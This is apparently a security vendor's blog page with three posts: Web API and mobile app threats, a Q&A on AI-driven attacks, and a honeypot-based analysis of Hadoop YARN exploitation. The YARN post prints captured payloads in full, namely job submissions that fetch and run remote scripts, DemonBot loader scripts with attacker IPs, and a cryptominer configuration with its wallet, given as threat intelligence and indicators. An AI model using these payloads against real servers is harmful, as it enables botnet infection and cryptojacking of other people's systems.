main

Application Security

Threats on APIs and Mobile Applications

August 20, 2019 — by Pascal Geenens0

API-threats-960x560.jpg

Web Application Programming Interfaces, or Web APIs, are essential building blocks of our digital lives. They provide the tools and protocols that enable web and mobile applications to provide dynamic content and up to date, personalized information.

Our cars, bikes, and fitness trackers rely on Web APIs to track and guide us to our personal goals. In our homes, digital personal assistants help us manage our schedules, control our home, play our music, and much more, and they do so by interacting with an API provided as a service in the cloud. Google Pay, Apple Pay, PayPal, and many others enable businesses around to globe to process customer payments by the press of a button or a swipe of their phone. Their APIs provide easy integration and increased security for online commercial businesses. Smart cities and Industry 4.0 are taking over the manufacturing world and allow new interconnected and automated manufacturing technologies and processes.

Cyber-physical systems monitor physical processes and make decentralized decisions based on a virtual model of the real world. Industrial Internet of Things (IoT) communicate and cooperate in real-time with users and across organizations.

These are only a few examples of the digital world we live in today and which relies on one very essential building block: the Web API.

What Are Web APIs?

A Web API is a set of tools and protocols that provide a predefined interface for a request and response messaging system between two programs. It exposes reliable content and provides operation negotiation through a common defined language. REST, short for REpresentational State Transfer, and the Simple Object Access Protocol (SOAP) are the most common protocol styles for cloud service architectures, with REST by far the most common one.

[You may also like: How to Prevent Real-Time API Abuse]

SOAP used to be the go-to messaging protocol that almost every web service used; it is a standardized protocol that allows the exchange of messages using underlying protocols such as HTTP, SMTP, TCP, UDP, and others. SOAP builds on a large number of frameworks using XML to format the messages. The standard includes a Web Services Description Language (WSDL) which defines the structure of the data in the message. SOAP is an official web standard with specifications maintained and developed by the World Wide Web Consortium (W3C).

As opposed to SOAP, REST is much less of a protocol and more of an architectural style. REST only provides a set of guidelines and allows much more flexibility in the implementation of the protocol by its developers. As such, the REST architecture gained much popularity and fitted better the agile and continuously evolving specs and requirements of modern-day web services.

The percentages of API Architectural Styles for profiles in the ProgrammableWeb API directory [source: https://www.programmableweb.com/news/which-api-types-and-architectural-styles-are-most-used/research/2017/11/26]

REST is used to build web services that are lightweight, scalable, and easy to maintain. Services build on the REST architecture are called RESTful services. The protocol underlying REST is HTTP, the most common and standardized web protocol supported by almost every system and device on the internet. Any program that can talk HTTP is a potential REST client, any system that can process HTTP requests can expose RESTful services. Talk the talk, walk the … ; meaning there needs to be an agreement between consumer and service for them to exchange actionable and useful information, hence the use of a common language such as XML or JSON.

[You may also like: Adapting Application Security to the New World of Bots]

REST requests and JSON structures are straightforward concepts. A request is very much like a URL with some arguments:

https://my.restservice.local/get_user?id=1

The response a webservice located at that URL could return might be a JSON formatted message. JSON is a human and machine readable format, very convenient and easy to find structure and derive meaning from the data by either humans and machines:

// JSON Object
{
 “user”: {
 “id”: 1,
 “name”: “admin”,
 “groupid”: 1,
 “password”: “123456”
 }
}

The API Economy

To create new online applications within acceptable time frames, one should try to use existing and proven components for repeating and basic tasks. Focusing on the development of the innovative and differentiating parts of the application and not wasting cycles on the commodity is how in-house development stays productive and commercially viable. The why of in-house development is mainly the innovation and differentiation of the application, or what makes it stand out in the crowd.

[You may also like: 5G Security in an API-Driven Economy]

Most online applications rely on third-party and open source components, some of which could be Web APIs hosted in different clouds. Using third-party hosted Web APIs, developers can instantly add support for repeated and complex processes and do so in just a few lines of code. Using and consuming commercial-grade third-party APIs will typically not be free but is generally billed based on a subscription and number of (API) calls model, which embodies the ‘economy’ part of ‘the API economy.’

Credit card processing APIs are probably the most dominant component used by all commercial websites. It is more efficient and more secure to rely on a proven and certified third party to process customer payments. The security aspect and trust-worthiness of, say PayPal, results in much less resistance from visitors than to have them provide and store their credit card details on your website. Failing to provide an extensive list of payment options will negatively impact the success of your site. Think about how much more sales you could realize if your mobile app integrates with Apple and Google Pay and all your potential customer has to do is swipe from left to right to buy your products and services? No information or personal details to input, no additional authentication steps, all that is needed is a big smile for their phone to authorize the transaction and complete the purchase.

The Radware ShieldSquare Bot Manager relies on this very same Web API concept. Radware Bot Manager exposes a cloud-based service into which on-premise reverse proxies and web applications make API calls to differentiate legitimate users’ and good bot from bad bot requests. The service is provided to our customers as a subscription and pricing based on tiers of maximum number of API calls per month.

[You may also like: Navigating the Bot Ecosystem]

APIs, Built For and Consumed By Machines

APIs are by definition interfaces between machines. They are supposed to be consumed by devices and applications. Devices are machines, and their communication with the API is from and to machines (M2M). Mobile applications, dynamic web pages, or native user interface clients provide a graphical representation through which humans interact with the API. The graphical interface translates the interactions of the user into API requests while the data received in the API’s response message is rendered into a visual representation that makes more sense to the user.

Machines are good at processing structured data but have a harder time crunching through visual representations of that same data. Think about a paragraph in your document processor versus a scanned image of that same text. The visual representation of the text can be translated back to its original data representation, text in this case, but not without using complex tooling such as Optical Character Recognition (OCR) and only with a certain degree of success, most often not without introducing errors.

Do the exercise: this image provides tree representations of the same data. Which would you prefer to interact with and which do you think a machine would prefer? [data from https://opensource.adobe.com/Spry/samples/dataregion/JSONDataSetSample.html and formatted using http://json2table.com]_

Now put yourself in the shoes of an attacker that wants to scrape the product list from an online commercial website. Would you go at it by scraping and translating HTML pages and following links to discover and encode the full catalog? Or, would you first try to discover if an API feeds the dynamic content that gets rendered in the web browser? If you went for the latter, consider yourself a step closer to being a real hacker 😉

Securing Web APIs

The online nature of web APIs makes their communications subject to snooping or man-in-the-middle and replay attacks. Very much like the rest of the internet that is concerned about their privacy, all communication should be encrypted and origins verified. As REST relies on HTTP, SSL and TLS with certificates are the bare essentials.

Unless your Web API can verify the requesting client’s origin through a certificate, and as such leverages mutual TLS (mTLS), there is still no guarantee that the other side of the communication is a legitimate program with good intentions. Web APIs build on the same stateless paradigm and protocols used by web applications. While web applications are made stateful by introducing (hidden) session keys that get posted on each subsequent request after an initial login, Web API calls are by definition not stateful, but they can leverage the same ideas and concepts.

[You may also like: Good Bots Vs. Bad Bots: What’s The Impact On Your Business?]

JSON Web Token (JWT), for example, is an open standard (RFC 7519) that defines a self-contained way for securely transmitting information between parties as a JSON object. The token is signed using a secret or a public/private key pair and as such, can be verified and trusted by a receiving service. Because of the self-contained nature of the token, authorization can be performed based on just the token, no need for resolving keys or tokens into actual identity.

For machine to machine communications, however, there is no interactive authentication step after which a session key or token gets generated. The way a consumer of a Web API can be authorized, is by using some kind of shared secret that was agreed upon upfront and that is shared with the API as one of the call request arguments. That secret would have been obtained through a separate authentication and authorization step. Many third-party Web API providers require the author of an application to register and request access to the API, at which point he or she will be provided with a personal access or API token. The API token identifies the client program and allows it to consume the API, while the providing service can authorize and track requests and utilization.

[You may also like: Application SLA: Knowing Is Half the Battle]

There are convenient APIs that provide authentication for third-party applications and can be leveraged by consumers and providers alike. Ever used your Google or Facebook account to get access to a service you never previously registered for? Applications and API providers can rely on a third party such as Google or Facebook, using them as a trusted middle-man to authenticate the consumer of the service. The consumer of the service can decide to trust the middle-man secures its private information and shares only what is agreed to and required for authorization with the provider’s service. The convenience brought to the consumer of the application is single-sign-on (SSO), meaning that the user only needs to register and login only once with Google and then can access and consume all the services and applications that rely on that middle-man. An example of such a standardized protocol is OAuth, also used by Google and Facebook in its 2.0 incarnation.

So I Secured My API. I’m Safe, Right?!

Not quite there yet, keep reading! Requests to Web APIs can be authenticated, authorized, and their contents protected by encryption.

However, what if you host a commercial website? Your definition of an authenticated user is that of a user that previously, in some cases just seconds ago, registered for access your website. Automated programs, commonly referred to as bots, are very much able to create email aliases, register as fictitious persons, process the email validation requests and get unlimited access to your website as do legitimate persons. A single request performed by a bot does not look any different than a request originating from a real human. Chaining multiple requests into an intended behavior; only then can one reveal the legitimate or malicious nature of the other party.

[You may also like: 4 Emerging Challenges in Securing Modern Applications]

Some applications have the luxury of only servicing a limited number of consumers that can be vetted and certified through some clearance process – B2B applications typically. Even then, tokens can be compromised and unauthorized use of the API is still very much a possibility. Even if tokens are not directly compromised, client-side Cross-Site Request Forging (CSRF) and Server-Side Request Forging (SSRF) could allow malicious actors to abuse the API. Even when you have strict control on your API or host internal private APIs that are used only by your front-end servers, they are still at risk.

Mobile Apps, API Consumers With a Twist

Mobile applications are nothing more than fancy consumers of Web APIs. At least those applications that provide on-demand and data driven user experiences. Candy Crush probably not the most appropriate example, though a great user experience – no pun intended.

API requests are machine to machine and by consequence do not immediately reveal the presence of a natural person or the execution environment of the application. A web application’s environment can be challenged and identified using javascript injected into the application’s web pages. The content, application in this case, returned by a web server is dynamic and can be adapted on the fly or redirected if the need arises.

[You may also like: Web Application Security in a Digitally Connected World]

A mobile application, however, is static once delivered and installed and relies on API calls to only update that portion of the representation that contains dynamic information. Unless the mobile application includes functionality that allows it to identify human behavior through motion sensors or click and swipe patterns, and it can certify it is running on a real device and not in an emulated environment, the back end APIs cannot verify the actual state of the application.

By nature, mobile applications are publicly accessible and can easily be reversed to reveal their inner working. Reversing mobile applications uncovers the specific API calls directly following user actions such as clicks (or presses), as well as any embedded static tokens or certificates which provide the keys to the API kingdom.

Furthermore, easy access to device emulation software such as QEMU allows anyone to run the application in thousands of virtual instances and perform automated actions such as advertisement clicks which can cost you dearly.

Conclusions

Securing your web APIs and ensuring legitimate use of them requires more than authentication and authorization. Even if you are sure that your application is coded with best security practices, your infrastructure is top-notch secured and audited, and the application contains no vulnerabilities, there is still the threat of automated attacks that leverage legitimate requests to build a chain of behavior that results in malicious activity. Each individual request is legitimate, but the end game of the thousands of bots disguised as legitimate users could be a depleted stock or information being processed and leveraged competitively against you.

Building web APIs for B2B, providing customers with Mobile Apps, etc. increases customer loyalty, prevents customer churn, and increases revenue and competitiveness. However, these same APIs and mobile applications can be turned into a weapon against your business, and in a very insidious way, without immediate indication something or someone malicious is at work. A bot management solution should be considered when exposing APIs that are directly or indirectly connected with your business and revenue.

For those aware that applications without vulnerabilities are RBUs, consider the added layer of protection provided by a Web Application Firewall that will prevent abuse of vulnerable code and infrastructure, and it will even protect you from Cross-Site and Server Side Request Forgery.

Read “The Ultimate Guide to Bot Management” to learn more.

Download Now

Attack MitigationSecurity

Looking Past the Hype to Discover the Real Potential of AI

January 22, 2019 — by Pascal Geenens1

AI-960x439.jpg

How can organizations cut through the hype around AI to understand the most important issues they should be addressing? How can they incorporate AI into their security strategies now to take advantage of the technology’s ability to detect and mitigate attacks that incorporate the same capabilities? Pascal Geenens, Radware’s EMEA security evangelist, weighs in.

What is the threat landscape, and how disruptive is it likely to be?

In the near term, cybercriminals will mainly use AI to automate attacks and improve evasion capabilities against detection systems and to increase the scale and reach of the threats. Expect to see AI used to automatically breach defenses and generate more sophisticated phishing attacks from information scraped from publicly accessible web sources. The scale of attacks will quickly escalate to volumes that we have never experienced before.

On the evasive side, machine-learning systems such as generative adversarial networks (GANs) can automatically create malware that is harder to detect and block. This technique has already been demonstrated by researchers. The MalGAN research project proposed a GAN to create evasive malware that goes undetected by all modern anti-malware systems, even the systems based on deep learning.

[You may also like: How Cyberattacks Directly Impact Your Brand: New Radware Report]

In the first phase, AI will be used to improve current attack tools to make them more harmful and difficult to detect.

Machine learning and automation can be leveraged to find new vulnerabilities, especially in large public clouds where cloud native systems are being built based on widely reused open-source software frameworks. Platforms running this software will become primary targets for vulnerability scanning.

Given that open-source code is readable and accessible by both criminals and security researchers, this platform may become the next battlefield with an associated “arms race” to  discover, abuse or fix vulnerabilities.  Deep learning will provide an advantage  in discovering new vulnerabilities based on code. While open source is an easier target, even closed-source software will not escape automated attacks based on the learning process of the attack program.

Looking further ahead, I can imagine large cybercrime organizations or nation-states using AI. Where machine learning was previously used mainly for automating attacks, now AI systems such as genetic algorithms and reinforced learning will be used to automatically generate new attack vectors and breach all kinds of systems, whether cloud, IoT or ICS. Then, combine this capability with the automation of the first stage. We will face a fully automated, continuously evolving attack ecosystem that will hack, crack and improve itself over time with no limits in scale or endurance.

[You may also like: DevOps: Application Automation? The Inescapable Path]

Cybercriminals could move from being the actual hackers, performing the real attack and penetrating defenses, to becoming maintainers and developers of the automated AI hacking machine. Machines will do the hacking; humans will focus on improving efficiency of the machines.

What vulnerabilities will make targets more attractive to criminals once AI is incorporated in their tools? How will it affect corporate espionage?

Ultimately every organization will be digitally transformed and become a primary target for automated attacks. Which targets are chosen will be solely dependent on the objective of the attack. For ransom and extortion, every organization is a good candidate target. For corporate espionage, it depends how much organizations are willing to pay to secure intellectual property in certain areas. It’s fair to say that, by definition, every organization can — and, at some point, will — be a target.

What about politically motivated cyberattacks initiated at the national level?

We’ve already witnessed attacks meant to influence public  opinion and the political landscape. Such attacks are likely to grow and become more difficult to identify early in the process and to protect against once attackers leverage deep learning and broader AI technologies. Attackers have already produced automatically generated messages and discussions, as well as “deep fake” videos that are created by AI algorithms.

[You may also like: Hacking Democracy: Vulnerable Voting Infrastructure and the Future of Election Security]

Influencing what topics are important and  manipulating opinions are becoming new weapons of choice for nation-states. Social platform providers need to take a stance and remain as clean as possible by dedicating much of their own AI-assisted automated detection systems to stay ahead of cybercriminals and others that create and improve AI-assisted automated systems for fake content creation.

From a defense perspective, what types of AI-based products will be used to combat more technologically savvy cybercriminals?

There’s a saying in our industry that “you cannot stop what you cannot detect.” Cybersecurity has become automated for the sake of the detection of new, increasingly complex and continuously adapting threats, and deep learning is improving that capability. AI, in the broad sense of the term, will probably come into play in the near-term future rather than immediately. The current state of AI in the defense discussion is confined to the traditional machine learning, and while deep learning shows a lot of promise, it is still too challenged to be used for automated mitigation. More intelligent and self-adaptive systems, the domain of AI, are still further out when it comes to automating our cyberdefenses.

Will the use of AI-based attacks by cybercriminals drive adoption of AI-based mitigation solutions by enterprises, organizations and institutions?

Yes, but not necessarily at the same pace. There are three factors to consider — the attack vector, its speed and its evasion technique:

  1. For example, using AI for phishing does not affect the victim in terms of change in attack vector, but it does increase the scale and number of targets, compelling every organization to improve its This protection might include AI-based systems, but not necessarily.
  2. On the other hand, as attacks get more automated, organizations will have to automate their security to ensure that they keep on top of the rising number and accelerated speed of attacks.
  3. When new evasion techniques based on AI are leveraged by cybercriminals, it will ultimately lead to the use of better detection systems that are based on AI.

Read “The Trust Factor: Cybersecurity’s Role in Sustaining Business Momentum” to learn more.

Download Now

Attack Types & VectorsBotnetsDDoS AttacksSecurity

Hadoop YARN: An Assessment of the Attack Surface and Its Exploits

November 15, 2018 — by Pascal Geenens1

pascal-960x363.jpg
  • Rate of Hadoop YARN exploits is slowing but still at a concerning 350,000 events per day
  • 1065 servers are exposed and vulnerable
  • The geographic spread of vulnerable servers and the targets of the attacks is global and concentrated in regions with high cloud data center densities
  • Motivations behind the exploits range from planting Linux backdoors, infecting servers with IoT malware for scanning and DDoS, up to cryptomining campaigns
  • A Monero cryptomining campaign has been actively abusing exposed Hadoop YARN servers since April 2018 and mined for a total revenue of 566 XMR (about 60,000 USD) and is growing its revenues with an average of 2 XMR (212 USD) a day
  • In a window of less than 14 days, there was enough malware collected from Hadoop YARN exploit attempts to start a small zoo
  • Owners of Hadoop YARN servers should care, as they can fall victim to cryptomining abuse, causing loss of performance, instability and higher cloud utilization bills
  • Online businesses should care, too. They can be the target of DDoS attacks.
  • Consumers should care because they will not be able to shop during Cyber Monday if their favorite online shop falls victim to DDoS attacks

In my blog on DemonBot, I discussed how Hadoop YARN exploit attempts were ramping up. In the middle of October, our deception network recorded up to 1.5 million attempts per day. The good news is that the attempt rate steadily slowed down in the second half of last month—though unfortunately not to the point where we should pat ourselves on the back for exposing one of the many malicious campaigns that are taking advantage of exposed Hadoop YARN servers.

[You may also like: New DemonBot Discovered]

These last few days, the number of Hadoop Yarn exploit attempts slowed to an average of 350,000 attempts per day. That said, there is no sign of the threat going away any time soon and we should stay alert. In order to appreciate the risk and quantify the threat, I have been tracking Hadoop YARN campaigns and exploring the extent of the attack surface since my last blog. Understanding the potential for abuse and the types of threats that are emerging from the exposed servers allows one to better appreciate the risk.

The Attackers and their Victims

Between September and the first half of November, there have been more than 35 million exploit attempts registered by our deception network and over one-third of them originated from the US. Great Britain, Italy and Germany are the runners-up and, combined, they were good for more than half of the exploit attempts.

In absolute numbers, the U.S. generated nearly 12 million exploit attempts. Great Britain and Italy each were responsible for 6 million attempts, closely followed by Germany with 4.8 million attempts.

The exploit attempts were not specifically targeting a single region. The UK and Germany honeypots were hit twice as hard compared to the rest of the world. The average numbers for each region is between 1.6 and 3.2 million attempted exploits.

Hadoop YARN Attack Surface

To asses the attack surface, I performed a global scan for services listening on the Hadoop YARN port TCP/8088, taking care to exclude sensitive IP ranges as listed in Robert Graham’s masscan exclusion list. By November 8, the number of vulnerable Hadoop YARN servers exposed to the public was 1065. The vulnerable servers are scattered around the globe with higher concentrations in areas where the data center density is high.

Compare the above locations of vulnerable Hadoop YARN servers with the global data center map below:

The attack surface is global and limited to little over 1,000 servers, but it should not be ignored because of the high potential powerful big data servers typically provide for malicious agents.

Types of Abuse

Now that we have a good measure on the attack surface and the interest taken in it by malicious actors, it’s time to have a closer look at how these actors are attempting to take advantage of this situation.

The below graph shows different Hadoop YARN exploits recorded by our medium interaction honeypots over a period of 14 days. Each exploit payload contains a command sequence which is hashed into a unique fingerprint, allowing us to quantify and track campaigns over time. The exploit table in (*1) contains the details of each command sequence corresponding to the fingerprints in the graph.

The red bars in the command sequence graph above represent the attempted count per day from a new DemonBot campaign ‘YSDKOP,’ named after the names used for the malware binaries.

The two large peaks in different shades of blue represent multiple exploits related to a Hadoop YARN cryptomining campaign that has been running for at least 8 months now; first spotted in April 2018, it recently moved its download infrastructure to BitBucket.org. Guess it is more convenient to track different versions of cryptominer and its configuration files over time using Atlassian’s free and public service…

The other, shorter and less aggressive campaigns represented in the command sequence graph above were mostly infection attempts by Linux/IoT Botnets. Some that seemed worthy of a few words are discussed below.

The Bitbucket Crypto Miner

An ongoing Monero cryptomining campaign that has been known to actively abuse exposed Hadoop YARN servers since April of this year, mined a total of 566 XMR (about 60,000 USD) and is growing its revenue with an average rate of 2 XMR (212 USD) a day. The malicious agent or group is currently abusing three servers and maintains an average hash rate of 400kH/s over time.

Leveraging the Hadoop YARN vulnerability, a shell script is downloaded and executed from a public BitBucket account:

{“max-app-attempts”:2,”am-container-spec”:{“commands”:{“command”:”wget -q -O – https://bitbucket.org/zrundr42/mygit/raw/master/zz.sh | bash & disown”}},”application-id”:”application_1802197302061_0095″,”application-type”:”YARN”,”application-name”:”hadoop”}

The ‘zz.sh’ script, archived in (*2) for reference, performs some cleaning up on the server before ultimately downloading a binary called ‘x_64’ from the same repository.

The x_64 binary is XMRig, an open source, high-performance Monero CPU miner written in C++ (https://github.com/xmrig/xmrig).

 $ ./x_64 --version
XMRig 2.8.1
built on Oct 18 2018 with GCC 4.8.4
features: 64-bit AES
libuv/1.9.1

The configuration file for XMRig is ‘w.conf’ and downloaded from the same BitBucket repository:

{
    "algo": "cryptonight",
    "background": true,
    "colors": false,
    "retries": 5,
    "retry-pause": 5,
    "donate-level": 1,
    "syslog": false,
    "log-file": null,
    "print-time": 60,
    "av": 0,
    "safe": false,
    "max-cpu-usage": 95,
    "cpu-priority": 4,
    "threads": null,
    "pools": [
         {
            "url": "stratum+tcp://163.172.205.136:3333",
            "user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
            "pass": "h",
            "keepalive": true,
            "nicehash": false,
            "variant": -1
        }
    ],
    "api": {
        "port": 0,
        "access-token": null,
        "worker-id": null
    }
}

From the configuration file we find the pool wallet address:

46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

The wallet address matches that of operations reported in the Stackoverflow and HortonWorks communities by Hadoop admins in May of this year; thousands of cryptomining jobs were causing issues with the cluster.

In August, the 360 Threat Intelligence Center published a report on what they called the “8220 mining gang,” also mentioning the same wallet address. According to the researchers, the mining gang was/is suspected to be of Chinese origin.

The same address also matches the wallet address used in a sample Nanopool report link in the readme of another cryptomining open-source software hosted on Github and called ‘Cpuhunter’.

The Nanopool wallet account that has been in use since April 10 can be tracked through this link.

The total XMR payments resulting from this illegal mining operation were, as of November 12, 566 XMR or about 60,000 USD.

IOC
Binary: a1bd663986bae6b5cea19616c9507d09618eaddb71051ae826580a0b7e610ae5 x_64
Bitbucket repo: https://bitbucket.org/zrundr42/mygit/src/master/
Mining pool account: 46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S

YSDKOP, DemonBot in Hiding

YSDKOP bots are delivered through a Hadoop YARN exploit using the following payload:

 User-Agent: [python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.3.5.el6.x86_64]
{"am-container-spec": {"commands": {"command": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/bins.sh -O /tmp/flex; chmod +x /tmp/flex; /tmp/flex; rm -rf/tmp/flex"}}, "application-id": "application_1802197302061_0095", "application-type": "YARN", "application-name": "get-shell"}

The downloaded ‘bins.sh’ script downloads in its turn several binaries in a typical IoT loader kind of way:


$ cat bins.sh 
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mips; chmod +x YSDKOP.mips; ./YSDKOP.mips; rm -rf YSDKOP.mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.mpsl; chmod +x YSDKOP.mpsl; ./YSDKOP.mpsl; rm -rf YSDKOP.mpsl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sh4; chmod +x YSDKOP.sh4; ./YSDKOP.sh4; rm -rf YSDKOP.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.x86; chmod +x YSDKOP.x86; ./YSDKOP.x86; rm -rf YSDKOP.x86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm6; chmod +x YSDKOP.arm6; ./YSDKOP.arm6; rm -rf YSDKOP.arm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i686; chmod +x YSDKOP.i686; ./YSDKOP.i686; rm -rf YSDKOP.i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc; chmod +x YSDKOP.ppc; ./YSDKOP.ppc; rm -rf YSDKOP.ppc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.i586; chmod +x YSDKOP.i586; ./YSDKOP.i586; rm -rf YSDKOP.i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.m68k; chmod +x YSDKOP.m68k; ./YSDKOP.m68k; rm -rf YSDKOP.m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.sparc; chmod +x YSDKOP.sparc; ./YSDKOP.sparc; rm -rf YSDKOP.sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm4; chmod +x YSDKOP.arm4; ./YSDKOP.arm4; rm -rf YSDKOP.arm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm5; chmod +x YSDKOP.arm5; ./YSDKOP.arm5; rm -rf YSDKOP.arm5
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.arm7; chmod +x YSDKOP.arm7; ./YSDKOP.arm7; rm -rf YSDKOP.arm7
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.244.25.153/YSDKOP.ppc440fp; chmod +x YSDKOP.ppc440fp; ./YSDKOP.ppc440fp; rm -rf YSDKOP.ppc440fp

The different binaries correspond to cross-compiled versions of the same source code for multiple platform architectures:

 $ file *
YSDKOP.arm4:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm5:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped
YSDKOP.arm6:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.arm7:  ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.i586:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.i686:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
YSDKOP.m68k:  ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, not stripped
YSDKOP.mips:  ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.mpsl:  ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
YSDKOP.ppc:   ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
YSDKOP.sh4:   ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
YSDKOP.sparc: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, with debug_info, not stripped
YSDKOP.x86:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped

A quick glance over the strings of the i586 binary reveals the typical DemonBot markers:


$ strings YSDKOP.i586
…
185.244.25.153:420
8.8.8.8
/proc/net/route
        00000000
(null)
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ
/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID
/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38
/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93
/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A/x38/xFJ/x93/xID/x9A
nwonknu
unknown
Hello
slammed
…
Sending TCP Packets To: %s:%d for %d seconds
STOP
[Shelling]-->[%s]-->[%s]-->[%s]-->[%s]-->[%s]

This is an unaltered DemonBot hiding behind a random name YSDKOP.

IOC
59719aa688954e7f4dd575173d7c9b5de6fd0d69d8c9ed8834d91a144e635e3b bins.sh
106dc7d4f44c1077b62c6d509ce471c79e27ffc7369d6418ddafed861c0f93be YSDKOP.arm4
dd62d3b51b194729f7270c590f647d08a1cbc6af8ecf0b92a98dc3e330fe304a YSDKOP.arm5
3fb0dd65608b93034e212ad85e660f6bc25a5df896410e0c6b9c411e56faac55 YSDKOP.arm6
74f8d9c9d91f87aa7f092efa6b12a4c9dfff492eb54f12d6e35e8bf3e96eacff YSDKOP.arm7
a36dff7844715c796de80f26b9dd4470de8cbc6c941499b6a94c048afd567316 YSDKOP.i586
7caed4bafe6c964c090d78f93e7eb7943bb19575532f19e70a87cfe2943d1621 YSDKOP.i686
dd8163a99b5cdd3e591213c64ad48e25d594f4b7ab9802cd7c60f3150a9e71f9 YSDKOP.m68k
67e85c8b24c3e382a1d83245d1c77f6b8b5f0b19be36fd8fb06f1cb42d07dad5 YSDKOP.mips
8b2407226356487558a26aba967befd48df53a5f53fd23b300f22b4dc9abe293 YSDKOP.mpsl
b94176a7448aa8ea0c961bc69371778828f3ab5665b14cc235f8413d8bf86386 YSDKOP.ppc
a96e07c8dc42eb05fa21069bb14391ee4241d1ccd9289c52cb273ffb7ecd3891 YSDKOP.sh4
43e445b0c644d52129c47154cd6bcdea7192d680cc3d2e8165b904c54ddd6fc2 YSDKOP.sparc
39f2b2c68362a347aad0942853d0262acec1e2f4174ba973b0c574f4567cb893 YSDKOP.x86

Supra, DemonBot-ng

Infecting through the Hadoop YARN exploit payload below:

 {"am-container-spec": {"commands": {"command": "cd /tmp; rm -rf *; wget http://80.211.59.125/n; sh n"}}, "application-id": "application_XXXXXXXXXXXXX_XXXX", "application-type": "YARN", "application-name": "get-shell"}

The downloaded script ‘n’ contains code to download two binaries, one 32bit x86 and one 64bit x86:

 $ cat n
#!/bin/sh
n="Supra.x86 Supra.x86_64"
http_server="80.211.59.125" 
dirs="/tmp/ /var/ /dev/shm/ /dev/ /var/run/ /var/tmp/"
 
for dir in $dirs
do
    >$dir.file && cd $dir
done 
 
for i in $n
do
    cp $SHELL $i
    >$i
    chmod 777 $i
    wget http://$http_server/$i -O $i
    chmod 777 $i
    ./$i
done

